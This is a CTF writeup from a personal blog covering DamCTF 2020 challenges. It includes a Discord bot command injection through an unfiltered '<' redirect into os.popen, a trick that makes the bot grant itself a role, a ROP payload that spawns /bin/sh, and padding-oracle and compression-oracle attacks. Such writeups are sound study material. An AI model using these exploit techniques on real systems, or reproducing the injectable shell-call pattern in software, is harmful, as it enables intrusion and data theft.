Writeup: DamCTF 2020

on nevi.dev

First time playing in a long time, did much better than I expected!


I went to the hardware store yesterday and bought a new lock, for some reason it came on a flash drive. Can you figure out how to unlock it? I really need to get into my apartment.

Rather than traditional lock picks, you may find this, that, or this other expensive-looking thing to be helpful.

nc chals.damctf.xyz 31932

Downloads: schlage

The pins have to be solved in a certain order, but it’s easy enough to figure out through trial and error.

Solution: solution.py rand.c

$ python3 solution.py
[+] Opening connection to chals.damctf.xyz on port 31932: Done
[+] Starting local process './rand': pid 19189
[*] Process './rand' stopped with exit code 0 (pid 19189)
[+] Receiving all data: Done (957B)
[*] Closed connection to chals.damctf.xyz port 31932
[+] b'dam{p1ck1NG_l0Ck5_w1TH_gdB}'


Do androids dream of electric bovine? Find out on my new Discord server!

Upon joining the server, a bot called “Secure Permissions Bot” sends you a DM, saying “Welcome! You may run !help here to find out about me.”

> !help
Help Menu
 - !help    Displays this message.
 - !ping    Pong??
 - !about    Displays information about this bot.
 - !resource    Links you to a random resource.
 - !cowsay <text>    Displays your text in cowsay format. Requires greater permissions than user in the guild to use.
 - !list_users     Lists all users in channel.
 - !send_msg <text>    (when used from DMs) sends a message in the #botspam channel in the guild.
 - !role_add <user> <role>    Attempt to add role to user. May only be used from within guild.
> !about
About Me
I'm a bot. On the weekends, I'm a huge fan.
My name is Secure Permissions Bot#7351
You may find my source code here:https://beav.es/o7y
You may find my bot token here https://beav.es/o7r
License: None.

The bot’s source code shows the implementation of all its commands, the most interesting ones being !send_msg, !role_add, and !cowsay.

For future reference the bot has roles “private” and “bot”, and all new users have the role “user”, and the initial goal seems to be to obtain role “private”.

However, the bot does not accept !role_add from the user. In order to get around that, we can use the fact that, unlike the superior messaging platform IRC, bots in Discord can see their own messages. Combine that with the command !send_msg, and we can get the bot to call its commands.

There is some authentication in the !role_add command, which checks the target user’s nick, current roles, the caller’s roles, and the target role. There are multiple ways to get around this, including changing your nick to private or target_role.id + int(str(user.discriminator) * 4). After changing your user’s nick, call the bot to obtain the “private” role.

> !send_msg !role_add @nevivurn 0007631280872263516380
Hmmm... nevivurn wants to add role private. Interesting. . .
Granted role private to member nevivurn. Well Done!

With the “private” role, we can call !cowsay, whose implementation is as follows:

for char in arg:
    if char in " `1234567890-=~!@#$%^&*()_+[]\\{}|;':\",./?":
        await message.author.send("Invalid character sent. Quitting.")

cow = "```\n" + os.popen("cowsay " + arg).read() + "\n```"

The code is vulnerable to command injection, but it filters out most special characters, making useful injections difficult. However, the filter does not block angle brackets <>, which allows us to redirect inputs:

> !cowsay <flag
< dam{discord_su_do_speen} >
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


OT is secure I hope you will not break it Don’t be malicious

Remote running at chals.damctf.xyz 30332

Downloads: semihonestclient.py

Reading the source code, the server and client seem to be performing a Diffie-Hellman key exchange, except the client is supposed to send two numbers, one of them being a random number.

By generating two different DH public keys (the server complains if you send the same one twice), the server will helpfully encrypt the flag using the two shared keys. The client can then compute the shared keys on its end, decrypt the two ciphertexts, and XOR them together to obtain the flag.

Solution: solution.py

$ python3 solution.py chals.damctf.xyz 30332
*** Welcome to my Oblivious Transfer server! ***
Decrypted text:


Every CTF needs a BabyPWN. Time to ROP!

nc chals.damctf.xyz 32575

Downloads: allokay

This was my first ever pwn challenge!

The program first reads up to 20 characters of user input into a buffer at 0x6010a0, passing the resulting string to atoi to obtain the number of input arguments:

  40086d:       be 14 00 00 00          mov    esi,0x14
  400872:       48 8d 3d 27 08 20 00    lea    rdi,[rip+0x200827]        # 6010a0 <buffer>
  400879:       e8 b2 fd ff ff          call   400630 <fgets@plt>
  40087e:       48 8d 3d 1b 08 20 00    lea    rdi,[rip+0x20081b]        # 6010a0 <buffer>
  400885:       e8 c6 fd ff ff          call   400650 <atoi@plt>

Then, in get_input, it reads nubmers into an array. However, the buffer allocated to hold the number is too small:

  4007a6:       8b 45 dc                mov    eax,DWORD PTR [rbp-0x24]
  4007a9:       48 98                   cdqe
  4007ab:       48 8d 50 0f             lea    rdx,[rax+0xf]
  4007af:       b8 10 00 00 00          mov    eax,0x10
  4007b4:       48 83 e8 01             sub    rax,0x1
  4007b8:       48 01 d0                add    rax,rdx
  4007bb:       b9 10 00 00 00          mov    ecx,0x10
  4007c0:       ba 00 00 00 00          mov    edx,0x0
  4007c5:       48 f7 f1                div    rcx
  4007c8:       48 6b c0 10             imul   rax,rax,0x10
  4007cc:       48 29 c4                sub    rsp,rax
  4007cf:       48 89 e0                mov    rax,rsp

This only allocates (num + 30) // 15 * 15 bytes for num long ints.

Then, we can overwrite the return address (skipping the rest of the stack with -). There is a helpful win function that calls execve for us, and we can fit the /bin/sh\x00 into the buffer initially used to get the number of arguments.

# prepare payload
rop.call(elf.symbols.win, [elf.symbols.buffer + 3])
payload = rop.chain()

# populate buffer
c.sendline(b'14 /bin/sh\x00')
# skip most of stack
c.sendline('- ' * 11)

# send payload as numbers
for num in group(8, payload):
    c.sendline(str(u64(num, sign=True)))

c.sendline('cat flag')

Solution: solution.py

$ python3 solution.py
[*] './allokay'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'allokay'
[+] Opening connection to chals.damctf.xyz on port 32575: Done
[+] Receiving all data: Done (21B)
[*] Closed connection to chals.damctf.xyz port 32575
[+] b'dam{4Re_u_A11_0cK4y}\n'


You will be provided with an AES-CBC encryptor source code.

The code let you get the encrypted text of AES_CBC_ENC(A*64 + flag + your_choice_of_input).

Also, the code let you check if your encrypted text is intact, in other words, it will decrypt your ciphertext input and will check the padding for the sanity check.

Under this condition, can you launch the padding oracle attack to this program to leak the flag?

A helpful resource

Our solution takes ~8 min, and the server timeout is 15min. If you disconnect, you can reconnect and continue your solution, the key is fixed.

nc chals.damctf.xyz 30327

Downloads: cbc-padding-oracle.py

This is a straightforward CBC padding oracle challenge.

Solution: solution.py

[+] Opening connection to chals.damctf.xyz on port 30327: Done
[*] pad = 1; length = 96
[*] pad = 2; length = 112
[*] data: b'p\xe8(\xfd\xec\x86dc\xa0n\x94\xf1b,\xb6\xd9qLZ\x84\xb8\xe4\xc4\x0f\xb8\x7f\xb3\x1b\xf5\xcb\x80\xe4i\x1a\\JS\xc9\xa4c\xc6\x01\x90 `\xc1\xd3~f?%\xee.\xf0\x1e9\x94\x17\x1a\xfe\xcc\xe2\xf5\xad\xcd?y\x0b\xc4\xb5\xea\xf0\xe3\x83\xe2\x8f{\xc5\xcct\xe7\x87\x06\xf3\x8f\xc9\xf1\x82\x08Kt\x06\xe7\xe4\xbe\xce;\xf2(\x1b\x9a\xce\x81\x80\x82\n:\xb9\xa9>\xfdF'
[*] flag_len: 14
[*] known: 1/16; current: 00000000000000000000000000003232
[*] known: 2/16; current: 00000000000000000000000000093333
[*] known: 15/16; current: 74717d6b4f5f6224537c234f6d1a2020
[+] b'dam{_Or4Cl3_}\n'


Absurd Encrypted Storage

Proof of Work requred to solve this challenge. Use generate.py to produce the relevant token and start the challenge.

This challenge uses the standard American English dictionary distributed with Ubuntu.

nc chals.damctf.xyz 30888

Downloads: chal.py generate.py

The server takes 1000 random words from the dictionary, randomly generates 1000 documents that contain 1000 words (chosen randomly), generates an index, and encrypts the documents.

The server responds to word queries, taking an arbitrary number of words, by responding with all the encrypted documents that contain those words. The goal is to find 10 words that are included in the initial set of 1000 words.

Note: it turns out that the server will happily accept one word repeated 10 times, though I failed to notice this during the CTF.

The limiting factor is the number of queries, capped at 170 queries before the server terminates. This turns out to be extremely generous, as evidenced by the very rough math that follows.

The dictionary contains about 100000 words, so 1000 words is roughly 1% of the dictionary. If I were to select N random words from the dictionary, the probability that at least one of them is included in those 1000 words is 1 - (1 - 0.01)^N. Let N be a nice, round number like 64, and the probability is about 50%.

We can easily check whether at least one word in a group of 64 words was included in the original 1000 words by sending all of them in a query. This consumes one query, and returns a bunch of documents if at least one word is a hit, nothing if there are no hits.

After checking whether a group of 64 words is included in the initial set, assuming there is only one hit, it takes exactly 6 queries to perform a binary search to isolate that word.

Taking it all together, it takes 10 “good” groups of 64 words 7 queries each (initial test + 6 for binary search), for a total of 70 queries if done perfectly. This means that in order to run of of queries before finding 10 words, we must fail 99 times in the initial 64-word query, which happens about 50% of the time. Thus, the probability of failing with this strategy is insigificant.

Solution: solution.py

$ python3 solution.py
[+] Opening connection to chals.damctf.xyz on port 30888: Done
[+] solving proof-of-work: done
[*] 64: False
[*] 64: True
[*] 32: True
[*] 16: False
[*] 8: False
[*] 4: True
[*] 2: True
[*] 1: False
[+] success: Hieronymus's
[+] success: realm's
[+] words: ["Hieronymus's", "phrenology's", 'pimientos', "Katmai's", "Elwood's", 'dumbwaiters', 'ruler', 'improper', 'fastenings', "realm's"]
[+] Receiving all data: Done (29B)
[*] Closed connection to chals.damctf.xyz port 30888
[+] b' dam{pLeaSe_c0m3_bACK_m1ke}\n\n'


All you have to do is type the right number. Easy right? Here, I’ll do it first. Now it’s your turn.

Downloads: trace tracing-into-the-night

The program loads two big ingegers, hardcoded as strings, from memory. Then, it essentially does the following, using libgmp for bignum operations:

N = big number 1
C = big number 2
input = input number
a = 1

while (input.something) {
	a *= a
	a %= N
	if (input.somethingelse) {
		a *= C
		a %= N

print a.to_bytes

Notice how all modification of a happens at exactly four points, all easy to locate in the trace by grepping for mpz_mod and mpz_mul calls. Once we have the operations performed on a, all that’s left is to replay them:

ans = gmpy2.mpz(1)

for line in sys.stdin:
    line = line.rstrip()
    if line == '401367':
        ans *= ans
        ans %= N
    if line == '4013e0':
        ans *= C
        ans %= N

Solution: solution.py

$ grep -E 'gmpz_(mod|mul)' trace | cut -d: -f1 | python3 solution.py


Can you break my super secure and efficient communication method over the internet?

nc chals.damctf.xyz 30308

Downloads: guess-secret.py

The server essentially computes aes-ctr-encryt(deflate(flag + input)), where flag is dam\{[0-9a-f]{32}\}.

Now, if input matches parts of the flag, the output of the compression would be slightly smaller, because repeated data compresses well. This allows us to leak the flag one letter at a time.

Solution: solution.py

$ python3 solution.py
[+] Opening connection to chals.damctf.xyz on port 30308: Done
[*] known: 9
[*] known: 9f
[*] known: 9f64ee1d4a7d6d8fe9136c3e9a74fc76
[+] damctf{9f64ee1d4a7d6d8fe9136c3e9a74fc76}